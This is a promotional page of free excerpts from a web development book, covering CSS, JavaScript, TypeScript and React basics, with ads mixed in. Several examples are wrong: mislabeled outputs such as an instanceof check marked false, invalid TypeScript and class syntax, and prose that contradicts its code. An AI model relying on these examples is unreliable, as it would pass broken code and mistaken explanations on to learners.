[FREE Lessons] HTML To React: The Ultimate Guide

Tags: Html, Reactjs, Javascript, Web, Listicles, Html To React
06 September 2021

This article contains important FREE lessons from my most popular book HTML To React: The Ultimate Guide. These free lessons itself will make you a smarter web developer.

(Shows 80 of 400+ pages from the book)



Learn Web Development - FREE Training

HTML and CSS free lessons



Module 2 - Styling your Webpage


Now let's add your first style

  • Let's add styles for your valentine's day card
  • We are using .card - class selector to grab the card DIV and style it
  • Here we are just setting a nice red border: 10px solid #E53038;
  • height: 100vh; is done to match out body tag's height - which is the full view-port height.
  • display: flex; makes this card DIV a flex-box.
    • We are just making all our flex-children align in vertically and horizontally center position in one column.
    • NOTE: We will learn about flex-box in the later section.

Learn some Effective Tools to Improve Developers Productivity

.card {
border: 10px solid #E53038;
height: 300px;
width: 300px;
padding: 20px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}

Fun with Border Radius


Shapes

  • Borders also take another property called border-radius using which you can give different shapes to your elements
  • In the above illustration we have a square on the left and circle on the right
  • If you provide border-radius of 50% it will turn your square into a circle
.square {
border-radius: none;
}
.circle {
border-radius: 50%;
}

Shorthand

  • If one value is set, this radius applies to all 4 corners.
  • If two values are set, the first applies to top-left and bottom-right corner, the second applies to top-right and bottom-left corner.
  • If three values are set - the second value applies to top-right and also bottom-left.
  • If four values apply to the top-left, top-right, bottom-right, bottom-left corner (in that order).
<div class="card one">
<h1 class="">One</h1>
</div>
<div class="card two">
<h1 class="">Two</h1>
</div>
<div class="card three">
<h1 class="">Three</h1>
</div>
<div class="card four">
<h1 class="">Four</h1>
</div>


// all 4 corners
.one {
border-radius: 50%;
}
// 10% top-left and bottom-right, 20% top-right and bottom-left
.two {
border-radius: 10% 20%
}
// 10% top-left, 20% top-right and also bottom-left, 30% bottom-right
.three {
border-radius: 10% 20% 30%;
}
// top-left, top-right, bottom-right, bottom-left corner (in that order)
.four {
border-radius: 10% 20% 30% 40%;
}
.card {
border: 10px solid #E53038;
height: 100px;
width: 100px;
padding: 20px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}



Module 3 - Display and position your elements


Paddings

  • Paddings are used to generate space around the given element's content - inside its border
<div class="myDiv">
<p>My Paragraph</p>
</div>
// styles
.myDiv {
padding: 20px;
}
  • padding: 20px; gives the div element padding of 20px
  • So, basically there will be 20px space between p and div on all the sides

Padding On Individual Sides

  • You can also give padding to the elements on any particular side if you'd want
padding-top
padding-right
padding-bottom
padding-left

Padding Shorthands

  • To give padding on all the sides
div {
padding: 20px;
}
  • The below example give padding 20px top and bottom
  • And give padding 40px left and right
div {
padding: 20px 40px;
}
  • The below example give padding 20px top
  • And give padding 40px left and right
  • And give padding 50px bottom
div {
padding: 20px 40px 50px;
}


Get NordVPN Deal

Display


Block

  • This property stretches the element left to right as far as it can
  • Default is block for div, p, form, header, footer, section (and some more)
  • Such elements cannot be placed on the same horizontal line with any other display modes
    • Except when they are floated
  • Like shown in the illustration -> every item stretches and uses up the entire row

Inline

  • Inline element sits in line
    • Without disrupting the flow of other elements
  • Like shown in the illustration -> every item takes up only the space it needs
    • Item wraps to the next row if there is no enough space
  • span, em, b are examples of inline elements
  • They take only width needed for it
  • They do not honor vertical padding
    • No width
    • No height
    • They just ignores them
  • Horizontal margin and padding are honored
  • Vertical margin and padding are ignored

Inline-block

  • This is just like inline element
  • BUT they will respect the width and height
  • Basically, they combine the properties of both block elements and inline elements
  • The element can appear on the same horizontal line as other elements
  • So, like the illustration shows if you set width you can fit all the items together in a single row

None

  • These elements will not appear on the page at all
  • But you can still interact with it through DOM
  • NO space allocated on the page

Visibility Hidden

  • Space is allocated for it on the page
  • Tag is rendered on the DOM
  • The element is just no visible
div {
visibility: hidden;
}

Flex

  • Flex property gives ability to alter its item's width/height to best fill the available space
  • It is used to accommodate all kind of display devices and screen sizes
  • Fills available space
    • Or shrink to prevent overflow

7 HTML Tips and Tricks

In this article you will find some useful tips and tricks on html which save your time while developing web applications.



Module 4 - Semantic HTML5


What is HTML5 Web Storage?

  • With HTML5, browsers can store data locally
  • It is more secure and faster than cookies
  • You are able to store large information -> more than cookies
  • They are name/value pairs
  • 2 objects
    • window.localStorage - stores data with no expiration date
    • window.sessionStorage - stores data for one session (data is lost when the tab is closed)

localStorage:

  • Stores the data with no expiration date
  • Data is NOT deleted when browser is closed
  • Available the next day, week, or year
    • It's not possible to specify expiration
    • You can manage its expiration in your app
// Store
localStorage.setItem("lastname", "Smith");
// Retrieve
document.getElementById("result").innerHTML = localStorage.getItem("lastname");

sessionStorage:

  • Stores the data for only one session
  • Data deleted when browser is closed
if (sessionStorage.clickcount) {
sessionStorage.clickcount = Number(sessionStorage.clickcount) + 1;
} else {
sessionStorage.clickcount = 1;
}
document.getElementById("result").innerHTML = "You have clicked the button " +
sessionStorage.clickcount + " time(s) in this session.";


Student Feedback

HTML To React review



Module 5 - Flexbox intro and media query


Let's talk about the sizes - px vs em vs rem

  • Pixels are ignorant, avoid using them
  • If you’re setting all of your font-sizes, element sizes and spacing in pixels, you’re not treating the end user with respect.
    • Users will have to zoom in and out with ctrl plus +/- depending on the device they are on
  • REMs are a way of setting font-sizes based on the font-size of the root HTML element
  • Allows you to quickly scale an entire project by changing the root font-size
  • em is relative to the font size of its direct or nearest parent
    • When you have nested styles it becomes difficult to track ems
    • This is what REMs solve - the size always refers back to the root
  • Both pixels and REMs for media queries fail in various browsers when using browser zoom, and EMs are the best option we have.

How to calculate PX from REM

EX: HTML font-size is set to 10px, paragraph font-size is set to 1.6rem

Then size in pixels is - 1.6rem * 10px = 16px


How To Build Responsive Web Apps

Responsive Web Design means using HTML and CSS to automatically resize, hide, shrink, or enlarge, a website, to make it look good on all devices (desktops, tablets, laptops, and phones) as per size of the devices. Learn everything about building a responsive web application.



Module 6 - Quirks, tips, and tricks


Normalizing CSS

  • Small CSS file that provides cross-browser consistency
  • Provides default styles for HTML elements
  • Make sure that all HTML elements renders the same way in ALL browsers - same padding, margin, border, etc..
  • In some cases this approach applies IE or EDGE styles to the rest of the browsers

Get NordVPN Deal

Reset CSS

  • This approach says that we don’t need the browsers’ default styles at all
  • We’ll define in the project according to our needs
  • CSS Reset resets all of the styles that come with the browser’s user agent
  • Grab sample CSS reset here
  • The problem with CSS Resets is that they are ugly and hard to debug
  • Solution - use Normalize CSS with little bit of CSS Reset
  • Unlike an ordinary CSS reset, target specific HTML tags’ styles rather than making a big list of tags.
    • Make it less aggressive and a lot more readable

JavaScript Free Lessons



Module 1 - JavaScript Basics


Your first "hello world" program

  • Write the below HTML code in index.html file and open it in browser
<!DOCTYPE html>
<html>
<body>
<h1>My First Web Page</h1>
<script>
console.log("Hello World");
</script>
</body>
</html>
  • JavaScript code is written in between the script tag in the above code.
  • When the page loads the browser will run the code between the script tag.
  • alert() function will be called which will create a model with hello world text on it.

Congratulation! You just wrote your first JavaScript program


Data Types in JavaScript

  • Values used in your code can be of certain type - number or string for example
  • This type is called data type of the language
  • Data Types supported in JavaScript are: Number, String, Boolean, Function, Object, Null, and Undefined
  • They are categorized as primitive or non-primitive data types
  • Check the illustration below
  • Unlike Java or C#, JavaScript is a loosely-typed language
  • No type declarations are required when variables are created
  • Data Types are important in a programming language to perform operations on the variables
// Data Types examples
var x = 10 // number variable
var x = "hi" // string variable
var x = true // boolean variable
function x { // your function code here } // function variable
var x = { } // object variable
var x = null // null variable
var x // undefined variable

5 JavaScript tricks every developer should know

Learn the simple JavaScript tricks and hacks that can save you time and make your code look beautiful and easy to read.



Module 2 - Conditionals and Collections


If Else Condition

var x = 10;
if(x == 10) {
console.log("x is 10")
}
else if(x < 10) {
console.log("x is less than 10")
}
else {
console.log("x is greater than 10")
}
  • if block is executed if the condition is true
  • else if block is used to specify additional conditions if the if condition is not satisfied
  • else block is executed if neither of the prior conditions is satisfied

truthy and falsy values in JavaScript

  • Boolean data types are either true or false
  • But in JS in addition to this, everything else has inherent boolean values
    • They are falsy or truthy
  • Following values are always falsy:
// falsy values
false
0 (zero)
"" (empty string)
null
undefined
NaN (a special Number value meaning Not-a-Number)
  • All other values are truthy
// truthy values
"0" // zero in quotes
"false" // false in quotes
function () {} // empty functions
[] // empty arrays
{} //empty objects
  • This concept is important because the inherent values can then be used in conditional logic
  • You don't have to do if(x == false) - you can just do if(!x)
if (x) {
// x is truthy
}
else {
// x is falsy
// it could be false, 0, "", null, undefined or NaN
}

For Loop

  • Loops are used to run the same code block again and again "for" given number of times
// ... your code
// This loop will be executed 10 times
for (i = 0; i < 10; i++) {
console.log(i)
}
// ... your rest of the code
  • Check out the illustration above
  • It checks a condition first
  • If the condition is true it will run the code inside the loop
  • It will continue running the code inside the loop until the condition does not meet anymore
  • After that the execution will come outside the loop and continue executing the rest of the code
  • Loops come in handy when working with collections and arrays
  • Below code will iterate over an array and log all its items
var items = [1,2,3,4]
for (i = 0; i < items.length; i++) {
console.log(items[i]) // 1,2,3,4
}


Module 3 - JavaScript Objects and Functions


Function Expressions

  • You can also create functions using another syntax
  • You can assign an anonymous function to a variable, like below -
var addMe = function(a, b) {
return a + b
}
var sum = addMe(1,2)
console.log(sum) // 3
  • Please note that the name of the function is assigned to the variable instead of the function
  • Result of the function remains the same

Scoping in JavaScript

  • Every variable defined in JavaScript has a scope
  • Scope determines whether the variable is accessible at a certain point or not

Two Types

  • Local scope
    • Available locally to a "block" of code
  • Global scope
    • Available globally everywhere

JavaScript traditionally always had function scope. JavaScript recently added block scope as a part of the new standard. You will learn about this in the Advanced JavaScript module.


Examples

  • Function parameters are locally scoped variables
  • Variables declared inside the functions are local to those functions
// global scope
var a = 1;
function one() {
console.log(a); // 1
}
// local scope - parameter
function two(a) {
console.log(a); // parameter value
}
// local scope variable
function three() {
var a = 3;
console.log(a); // 3
}
one(); // 1
two(2); // 2
three(); // 3

Example: JavaScript does not have block scope

  • In the below example value of a is logged as 4
  • This is because JavaScript function variables are scoped to the entire function
  • Even if that variable is declared in a block - in this case, the if-block
  • This phenomenon is called as Hoisting in JavaScript
var a = 1
function four(){
if(true){
var a = 4
}
console.log(a) // logs '4', not the global value of '1'
}

Student Feedback

HTML To React review

JavaScript closures made super easy

The post is aimed towards explaining the most misunderstood concept in JavaScript- Closures using super simple examples. In the simplest way possible!



Module 4 - Prototypes and Prototypal Inheritance


JavaScript as Prototype-based language

  • JavaScript does not contain "classes" that defines a blueprint for the object, such as is found in C++ or Java
  • JavaScript uses functions as "classes"
  • Everything is an object in JavaScript
  • In JavaScript, objects define their own structure
  • This structure can be inherited by other objects at runtime

What is a prototype?

  • It is a link to another object
  • In JavaScript, objects are chained together by prototype chain
Joe -> Person -> Object -> null
  • JavaScript objects inherit properties and methods from a prototype

Example of Prototype

  • Prototype property allows you to add properties and methods to any object dynamically
function Animal(name) {
this.name = name
}
Animal.prototype.age = 10
  • When object Cat is inherited from object Animal
    • Then Animal is the prototype object or the constructor of the Cat
var Cat = new Animal('cat')
console.log(Cat) // constructor: "Animal"
console.log(Cat.name) // cat
console.log(Cat.age) // 10

Prototypal inheritance in JavaScript super simplified!

Simply put- JavaScript does not have the concept of "classes"!

Then how does it support inheritance, you might ask. And if it does not support inheritance, dare you call it an object oriented programming language, you might argue.

JavaScript does support inheritance. And, JavaScript is very well an object oriented programming language. But, how? You will learn everything about how JavaScript is an OOP language and what is Prototypal inheritance in JavaScript in this article.



Module 5 - Advanced JavaScript (Async JS, Closures, Method Chaining, etc.)



Hoisting in JavaScript

  • In JavaScript function declarations and variable declarations are 'hoisted'
  • Meaning variables can be used before they are declared
  • From the illustration above - refer the code below
  • We are logging bar variable to the console
  • But, the variable bar is defined AFTER it is being used
  • In other traditional languages - that would have been an error
  • But, JavaScript does not throw any error here
  • But, remember - the value of the variable is still undefined because the value is really assigned on AFTER it is being logged
console.log(bar) // undefined - but no error
var bar = 1

Get NordVPN Deal

Another example

// Function declarations
foo() // 1
function foo() {
console.log(1)
}
  • The variable declarations are silently moved to the very top of the current scope
  • Functions are hoisted first, and then variables
  • But, this does not mean that assigned values (in the middle of function) will still be associated with the variable from the start of the function

  • It only means that the variable name will be recognized starting from the very beginning of the function
  • That is the reason, bar is undefined in this example
// Variable declarations
console.log(bar) // undefined
var bar = 1

NOTE 1: Variables and constants declared with let or const are not hoisted!

NOTE 2: Function declarations are hoisted - but function expressions are not!


// NO ERROR
foo();
function foo() {
// your logic
}

We get an error with Function Expressions

  • var foo is hoisted but it does not know the type foo yet
foo(); // not a ReferenceError, but gives a TypeError
var foo = function bar() {
// your logic
}

Asynchronous JavaScript


Callback Function

  • These are functions that are executed "later"
  • Later can be any action that you'd want to be completed before calling the the callback function
  • Callback functions are passed as arguments to the outer function

Simple example

  • In this example greet() is the outer function
  • And getName() is the callback function
  • We pass getName() function to the outer greet() function as a function argument
  • The value from getName() callback function is then used in the outer function greet()
function getName() {
return "Sleepless Yogi";
}
function greet(callbackFn) {
// call back function is executed here
const name = callbackFn();
return "Hello " + name;
}
  • This was a very basic example
  • Callback functions are more often used in asynchronous programming

Student Feedback

HTML To React review

Asynchronous programming

  • This is the type of programming where actions does not take place in a predictable order
  • Example: network calls
  • When you make an HTTP call you cannot predict when the call will return
  • Therefore your program needs to consider this asynchronism to out the correct results

Example callback in asynchronous programming

  • In the below example we define a callback function printUser

  • This function depends on the variable name

  • So, basically until we have value for the name variable we cannot print the value

  • We then define fetchAndPrintUser function to fetch the user and then print the user's name

  • We are simulating network call using setTimeout method

  • Basically it means after 500 ms we will have the name available

    • In real world this will be a network call to some user API that queries the user database for this information
  • After we get the user's name

  • We call the callback function printUser with the name value

function printUser(name) {
console.log(name)
}
function fetchAndPrintUser(printCallbackFunction) {
// simulate fake network call
setTimeout(() => {
const fakeUserName = 'Sleepless Yogi'
// We call the callback function here
printCallbackFunction(fakeUserName)
}, 500)
}
// Execute the function to fetch user and print the user's name
fetchAndPrintUser(printUser)

Super simplified explanation of 'this' keyword in JavaScript

People coming from C++, Java, C## background often complain about JavaScript being confusing. One of their main complaints is the confusion about the "this" keyword in JavaScript. This article will explain you "this" keyword in JavaScript in easy to understand language.



Module 6 - Next Generation JS - ES6 and Beyond


JavaScript Classes

  • Classes were introduced in ES6 standard
  • Simple Person class in JavaScript
  • You can define constructor inside the class where you can instantiate the class members
  • Constructor method is called each time the class object is initialized
class Person {
constructor(name) {
this.name = name
}
}
var john = new Person("John")

Class methods

  • You can add your functions inside classes
  • These methods have to be invoked programmatically in your code
class Person {
constructor(name) {
this.name = name
}
getName() {
return this.name
}
}
john.getName() // John
  • JavaScript class is just syntactic sugar for constructor functions and prototypes
  • If you use typeof operator on a class it logs it as "function"
  • This proves that in JavaScript a class is nothing but a constructor function
// example:
class Foo {}
console.log(typeof Foo); // "function"

Class vs Constructor function

  • Below example demonstrates how to achieve the same result using vanilla functions and using new classes
  • You can notice how using class make your code cleaner and less verbose
  • Using class also makes it more intuitive and easier to understand for Developer coming from class-based languages like Java and C++

Using Function - ES5 style
var Person = function(name){
this.name = name
}
var Man = function(name) {
Person.call(this, name)
this.gender = "Male"
}
Man.prototype = Object.create(Person.prototype)
Man.prototype.constructor = Man
var John = new Man("John")
console.log(John.name) // John
console.log(John.gender) // Male

Student Feedback

HTML To React review

Using Classes - ES6+ Style

class Person {
constructor(name){
this.name = name
}
}
class Man extends Person {
constructor(name){
super(name)
this.gender = "Male"
}
}
var John = new Man("John")
console.log(John.name) // John
console.log(John.gender) // Male

let and const and Block scope

  • let and const keywords were introduced in ES6
  • These two keywords are used to declare JavaScript variables
let myFirstName = "sleeplessyogi"
const myLastName = "Academy"
console.log(myFirstName + myLastName) // "sleeplessyogiAcademy"
  • These two keywords provide Block Scope variables in JavaScript
  • These variables do not hoist like var variables

Remember: using var to declare variables creates a function scope variables


  • These two keywords lets you avoid IIFE
  • IIFE is used for not polluting global scope
  • But, now you can just use let or const inside a block - {} - which will have same effect

let

  • let keyword works very much like var keyword except it creates block-scoped variables
  • let keyword is an ideal candidate for loop variables, garbage collection variables

Example of let

  • var x declares a function scope variable which is available throughout the function checkLetKeyword()
  • let x declares a block scope variable which is accessible ONLY inside the if-block
  • So, after the if-block the value of x is again 10
function checkLetKeyword() {
var x = 10
console.log(x) // 10
if(x === 10) {
let x = 20
console.log(x) // 20
}
console.log(x) // 10
}

const

  • const keyword is used to declare a constant in JavaScript
  • Value must be assigned to a constant when you declare it
  • Once assigned - you cannot change its value
const MY_NAME = "sleeplessyogi Academy"
console.log(MY_NAME) // sleeplessyogi Academy
MY_NAME = "JavaScript" // Error: "MY_NAME" is read-only

Tricky const

  • If you defined a constant array using const you can change the elements inside it
  • You cannot assign a different array to it
  • But, you can add or remove elements from it
  • This is because const does NOT define a constant value. It defines a constant reference to a value.
  • Example below:
const MY_GRADES = [1, 2, 3]
MY_GRADES = [4, 4, 4] // Error: "MY_GRADES" is read-only
MY_GRADES.push(4) // [1, 2, 3, 4]

5 Practices to write a secure JavaScript web application

As software programmers, it is our duty to take the things in our hand and do something about it. Not everyone might be a pro in security and know how hackers work. But, at the very least, we can follow some of the best practices to mitigate such attacks and avoid them as much as possible. And trust me, they work.

So, let's dive into some actionable items that you can follow to make your code more secure in this article.



TypeScript Free Lessons



Get NordVPN Deal

More on TypeScript

  • It is a pure Object oriented language
    • It has classes, interfaces, statically typed
    • Like C## or Java
  • Supports all JS libraries and frameworks
  • Javascript is basically Typescript
    • That means you can rename any valid .js file to .ts
  • TypeScript is aligned with ES6
    • It has all features like modules, classes, etc

Why use TypeScript?

  • It is superior to its counterparts

    • Like Coffeescript and Dart
    • TypeScript extends JavaScript - they do not
    • They are different language altogether
    • They need language-specific execution env to run
  • It gives compilation errors and syntax errors

  • Strong static typing

  • It supports OOP

    • Classes, interfaces, inheritance, etc.
    • Like Java, c#
  • Reacher code hinting due to its typed nature

  • Automated documentation

    • Due to its typed nature
    • Therefore, good readability
  • No need of custom validation which is clunky for large apps

    • No boilerplate code

Variable scopes

  • Global scope
    • Declare outside the programming constructs
    • Accessed from anywhere within your code
const name = "sleepless yogi"
function printName() {
console.log(name)
}
  • Class scope
    • Also called fields
    • Accessed using object of class
    • Static fields are also available... accessed using class name
class User {
name = "sleepless yogi"
}
const yogi = new User()
console.log(yogi.name)
  • Local scope
    • Declared within methods, loops, etc ..
    • Accessible only withing the construct where they are declared
    • vars are function scoped
    • let are block scoped
for (let i = 0; i < 10; i++) {
console.log(i)
}

Pick

  • Use this to create new type from an existing type T
  • Select subset of properties from type T
  • In the below example we create NewCustomer type by selecting id and name from type Customer
type Customer {
id: string
name: string
age: number
}
type NewCustomer = Pick<Customer, "id" | "name">
function setCustomer(customer: Customer) {
// logic
}
setCustomer({ id: "id-1", name: "sleeplessyogi Academy" })
// valid call
setCustomer({ id: "id-1", name: "sleeplessyogi Academy", age: 10 })
// Error: `age` does not exist on type NewCustomer
  • They allow you to check the type of variables
  • You can check it using different operators mentioned below

typeof

  • Checks if the type of the argument is of the expected type
if (typeof x === "number") {
// YES! number logic
}
else {
// No! not a number logic
}

instanceof

  • Checks if the variable is instance of the given object/class
  • This is mostly used with non-primitive objects
class Task {
// class members
}
class Person {
// class members
}
const myTasks = new Task()
const myPerson = new Person()
console.log(myTasks instanceof Task) // true
console.log(myPerson instanceof Person) // false

in

  • Allows you to check if property is present in the given type
type Task {
taskId: string
description: string
}
console.log("taskId" in Task) // true
console.log("dueDate" in Task) // false



Student Feedback

HTML To React review

ReactJS Free Lessons



Module 1 - Getting started


What is react?

  • It is a UI library developed at Facebook
  • Create interactive, stateful, and reusable components
  • Example:
  • Uses virtual DOM
    • In short: React selectively renders subtree of DOM based on state changes
  • Server side rendering is available
    • Because fake/virtual DOM can be rendered on server
  • Makes use of Isomorphic JS
    • Same JS code can run on servers and clients...
    • Other egs which does this- Rendr, Meteor & Derby
  • It is the V in MVC

Features

  • Quick, responsive apps
  • Uses virtual dom
  • Does server side rendering
  • One way data binding / Single-Way data flow
  • Open source

Why React, Benefits, and Limitations


Why react / Benefits

  • Simple, Easy to learn
  • It is fast, scalable, and simple
  • No need of separate template files JSX!
  • It uses component based approach
    • Separation of concerns
  • No need of direct DOM manipulation
  • Increases app performance

Other Benefits

  • Can be used on client and server side
  • Better readability with JSX
  • Easy to integrate with other frameworks
  • Easy to write UI test cases

Limitations

  • It is very rapidly evolving
    • Might get difficult to keep up
  • It only covers V of the MVP app.
    • So you still need other tech/frameworks to complete the environment
    • Like Redux, GraphQL, Firebase, etc.
  • Inline HTML and JSX.
    • Can be awkward and confusing for some developers
  • Size of library is quite large

A comprehensive beginner's guide to set up ReactJS

Don’t get me wrong, a solid JavaScript knowledge will make the learning curve easier, but you have to now a bunch of tools in order to set up your workspace and be able to use React in all his glory. The problem with all this set up is that quite a few tutorials out there about React do not explain all that is happening. They either assume that you know all these tools/libraries beforehand, or just some of them, or they just say “hey type this here” and don’t explain what is going on. That’s why this post exists, so you don’t have to deal with all of that, and you can quickly set up, start working with React and understand why do you have to use each library we need.



Module 2 - Basics of React


React JSX

  • It is JavascriptXML
  • It is used for templating
    • Basically to write HTML in React
  • It lets you write HTML-ish tags in your javascript
  • It's an extension to ECMAScript
    • Which looks like XML
  • You can also use plain JS with React
    • You don't HAVE to use JSX
    • But JSX is recommended
    • JSX makes code more readable and maintainable
  • Ultimately Reacts transforms JSX to JS
    • Performs optimization
  • JXK is type safe
    • so errors are caught at compilation phase
// With JSX
const myelement = <h1>First JSX element!</h1>;
ReactDOM.render(myelement, document.getElementById('root'));

// Without JSX
const myelement = React.createElement('h1', {}, 'no JSX!');
ReactDOM.render(myelement, document.getElementById('root'));

JSX - confusing parts

  • JSX is not JS
    • So won't be handled by browsers directly
    • You need to include React.createElement so that React can understand it
    • We need babel to transpile it
// You get to write this JSX
const myDiv = <div>Hello World!</div>
// And Babel will rewrite it to be this:
const myDiv = React.createElement('div', null, 'Hello World')
  • whitespaces
    • React removes spaces by default
    • You specifically give it using {' '}...
    • For adding margin padding
// JSX
const body = (
<body>
<span>Hello</span>
<span>World</span>
</body>
)
<!-- JSX - HTML Output -->
<body><span>Hello</span><span>World</span></body>
  • Children props
    • They are special kind of props
      • You will learn about props more in the following sections
    • Whatever we put between tags is children
    • Received as props.children
<User age={56}>Brad</User>
// Same as
<User age={56} children="Brad" />
  • There are some attribute name changes
    • NOTE: class becomes "className", for becomes "htmlFor"
  • Cannot use if-else inside JSX
    • But you can use ternary!

Virtual DOM

  • This is said to be one of the most important reasons why React app performances is very good
  • You know that Document Object Model or DOM is the tree representation of the HTML page

Cons of real DOM

  • Updating DOM is a slow and expensive process
    • You have to traverse DOM to find a node and update it
  • Updating in DOM is inefficient
    • Finding what needs to be updated is hard
  • Updating DOM has cascading effects - things need to be recalculated

Enter -> Virtual DOM

  • Virtual DOM is just a JavaScript object that represents the DOM nodes
  • Updating JavaScript object is efficient and fast
  • Virtual DOM is the blueprint of the DOM - the actual building
  • React listens to the changes via observables to find out which components changed and need to be updated

Diffing

  • Please check the illustration above
  • When an update occurs in your React app - the entire Virtual DOM is recreated
  • This happens super fast
  • React then checks the difference between the previous virtual DOM and the new updated virtual DOM
  • This process is called diffing
  • It does not affect the react DOM yet
  • React also calculates the minimum number of steps it would take to apply just the updates to the real DOM
  • React then batch-updates all the changes and re-paints the DOM as the last step


Student Feedback

HTML To React review

Module 3 - Styling your components


Inline Styles

  • Inline styling react component means using JavaScript object to style it

Tip: Styles should live close to where they are used - near your component

class MyComponent extends React.Component {
let styleObject = {
color: "red",
backgroundColor: "blue"
}
render() {
return (
<div>
<h1 style={styleObject}>Hi</h1>
</div>
);
}
}

// You can also skip defining objects to make it simpler
// But, I don't recommend it because it can quickly get out of hands and difficult to maintain
render() {
return (
<div>
<h1 style={{backgroundColor: "blue"}}>Hi</h1>
</div>
);
}


Module 4 - Advanced React


Conditional Rendering

  • React components lets you render conditionally using traditional conditional logic
  • This is useful in situations for example: showing loading state if data is not yet retrieved else show the component details when data is retrieved
  • You can use if..else or ternary or short-circuit operators to achieve this
// IF-ELSE
const Greeting = <div>Hello</div>;
// displayed conditionally
function SayGreeting() {
if (loading) {
return <div>Loading</div>;
} else {
return <Greeting />; // displays: Hello
}
}

// Using ternary and short-circuit method
const Greeting = <div>Hello</div>;
const Loading = <div>Loading</div>;
function SayGreeting() {
const isAuthenticated = checkAuth();
return (
<div>
{/* if isAuth is true, show AuthLinks. If false, Login */}
{isAuthenticated ? <Greeting /> : <Loading />}
{/* if isAuth is true, show Greeting. If false, nothing. */}
{isAuthenticated && <Greeting />}
</div>
);
}

Component Lifecycle

  • These lifecycle methods pertains to class-based React components
  • 4 phases: initialization, mounting, updating and unmounting in that order

initialization

  • This is where we define defaults and initial values for this.props and this.state
  • Implementing getDefaultProps() and getInitialState()

mounting

  • Occurs when component is being inserted into DOM

  • NOTE: Child component is mounted before the parent component

  • componentWillMount() and componentDidMount() methods are available in this phase

  • Calling this.setState() within this method will not trigger a re-render

    • This notion can be used to your advantage
  • This phase methods are called after getInitialState() and before render()

componentWillMount()

  • This method is called before render
  • Available on client and server side both
  • Executed after constructor
  • You can setState here based on the props
  • This method runs only once
  • Also, this is the only hook that runs on server rendering
  • Parent component's componentWillMount runs before child's componentWillMount

componentDidMount()

  • This method is executed after first render -> executed only on client side
  • This is a great place to set up initial data
  • Child component's componentDidMount runs before parent's componentDidMount
  • It runs only once
  • You can make ajax calls here
  • You can also setup any subscriptions here
    • NOTE: You can unsubscribe in componentWillUnmount

static getDerivedStateFromProps()

  • This method is called (or invoked) before the component is rendered to the DOM on initial mount
  • It allows a component to update its internal state in response to a change in props
  • Remember: this should be used sparingly as you can introduce subtle bugs into your application if you aren’t sure of what you’re doing.
  • To update the state -> return object with new values
  • Return null to make no updates
static getDerivedStateFromProps(props, state) {
return {
points: 200 // update state with this
}
}

updating

  • When component state and props are getting updated
  • During this phase the component is already inserted into DOM

componentWillReceiveProps()

  • This method runs before render
  • You can setState in this method
  • Remember: DON'T change props here

shouldComponentUpdate()

  • Use this hook to decide whether or not to re-render component
    • true -> re-render
    • false -> do not re-render
  • This hook is used for performance enhancements
shouldComponentUpdate(nextProps, nextState) {
return this.state.value != nextState.value;
}

getSnapshotBeforeUpdate()

  • This hook is executed right after the render method is called -
    • The getSnapshotBeforeUpdate lifecycle method is called next
  • Handy when you want some DOM info or want to change DOM just after an update is made
    • Ex: Getting information about the scroll position
getSnapshotBeforeUpdate(prevProps, prevState) {
// Capture the scroll position so we can adjust scroll later
if (prevProps.list.length < this.props.list.length) {
const list = this.listRef.current;
return list.scrollHeight - list.scrollTop;
}
return null;
}
  • Value queried from the DOM in getSnapshotBeforeUpdate will refer to the value just before the DOM is updated
    • Think of it as staged changes before actually pushing to the DOM
  • Doesn't work on its own
    • It is meant to be used in conjunction with the componentDidUpdate lifecycle method.
  • Example usage:
    • in chat application scroll down to the last chat

componentWillUpdate()

  • It is similar to componentWillMount
  • You can set variables based on state and props
  • Remember: do not setState here -> you will go into an infinite loop

componentDidUpdate()

  • This hook it has prevProps and prevState available
  • This lifecycle method is invoked after the getSnapshotBeforeUpdate is invoked
    • Whatever value is returned from the getSnapshotBeforeUpdate lifecycle method is passed as the THIRD argument to the componentDidUpdate method.
componentDidUpdate(prevProps, prevState, snapshot) {
if (condition) {
this.setState({..})
} else {
// do something else or noop
}
}


Get NordVPN Deal

unmount

  • This phase has only one method → componentWillUnmount()
  • It is executed immediately BEFORE component is unmounted from DOM
  • You can use to perform any cleanup needed
    • Ex: you can unsubscribe from any data subscriptions
componentWillUnmount(){
this.unsubscribe();
}


Module 5 - React hooks


React Hooks Basics

  • Introduced in React 16.8
  • It is a way to add React.Component features to functional components
    • Specifically you can add state and lifecycle hooks
  • It offers a powerful and expressive new way to reuse functionality between components
  • You can now use state in functional components
    • Not only the class components
  • Real world examples:
    • Wrapper for firebase API
    • React based animation library
      • react-spring

Student Feedback

HTML To React review

Why React Hooks?

  • Why do we want these?
    • JS class confuses humans and machines too!
  • Hooks are like mixins
    • A way to share stateful and side-effectful functionality between components.
  • It offers a great way to reuse stateful code across components
  • It can now replace your render props or HOCs
  • Developers can care LESS about the underline framework
    • Focus more on the business logic
    • No more nested and complex JSX (as needed in render props)

useState React Hook

  • useState hook gives us local state in a function component
    • Or you can simply use React.useState()
  • Just import useState from react
  • It gives 2 values
    • 1st - value of the state
    • 2nd - function to update the state
  • It takes in initial state data as a parameter in useState()
import React, { useState } from 'react';
function MyComponent() {
// use array destructuring to declare state variable
const [language] = useState('react');
return <div>I love {language}</div>;
}
  • Second value returned by useState hook is a setter function
  • Setter function can be used to change the state of the component
function MyComponent() {
// the setter function is always the second destructured value
const [language, setLanguage] = useState('react');
return (
<div>
<button onClick={() => setLanguage("javascript")}>
I love JS
</button>
<p>I love {language}</p>
</div>
);
}
  • You can create as many states as you'd want in your component
const [language, setLanguage] = React.useState('React');
const [job, setJob] = React.useState('Google');
  • You can initiate your state variable with an object too
const [profile, setProfile] = React.useState({
language: 'react',
job: 'Google'
});

React Crash Course - Learn React JS in 5 Minutes

Learn the basics of ReactJS and get started with using it today - everything's in the article.



Module 6 - App performance optimization


Improve React app performance

  • Measure performance using these tools
    • Chrome dev tools
      • Play with the throttle feature
      • Check out the performance timeline and flame charts
    • Chrome's Lighthouse tool
  • Minimize unnecessary component re-renders
    • use shouldComponentUpdate where applicable
    • use PureComponent
    • use Rect.memo for functional components
      • along with the useMemo() hook
    • use React.lazy if you are not doing server-side rendering
    • use service worker to cache files that are worth caching
    • use libraries like react-snap to pre-render components

  • Example of shouldComponentUpdate
    • NOTE: It is encouraged to use function components over class components
    • With function components you can use useMemo() and Rect.memo hooks
// example of using shouldComponentUpdate to decide whether to re-render component or not
// Re-render if returned true. No re-render if returned false
function shouldComponentUpdate(nextProps, nextState) {
return nextProps.id !== this.props.id;
}

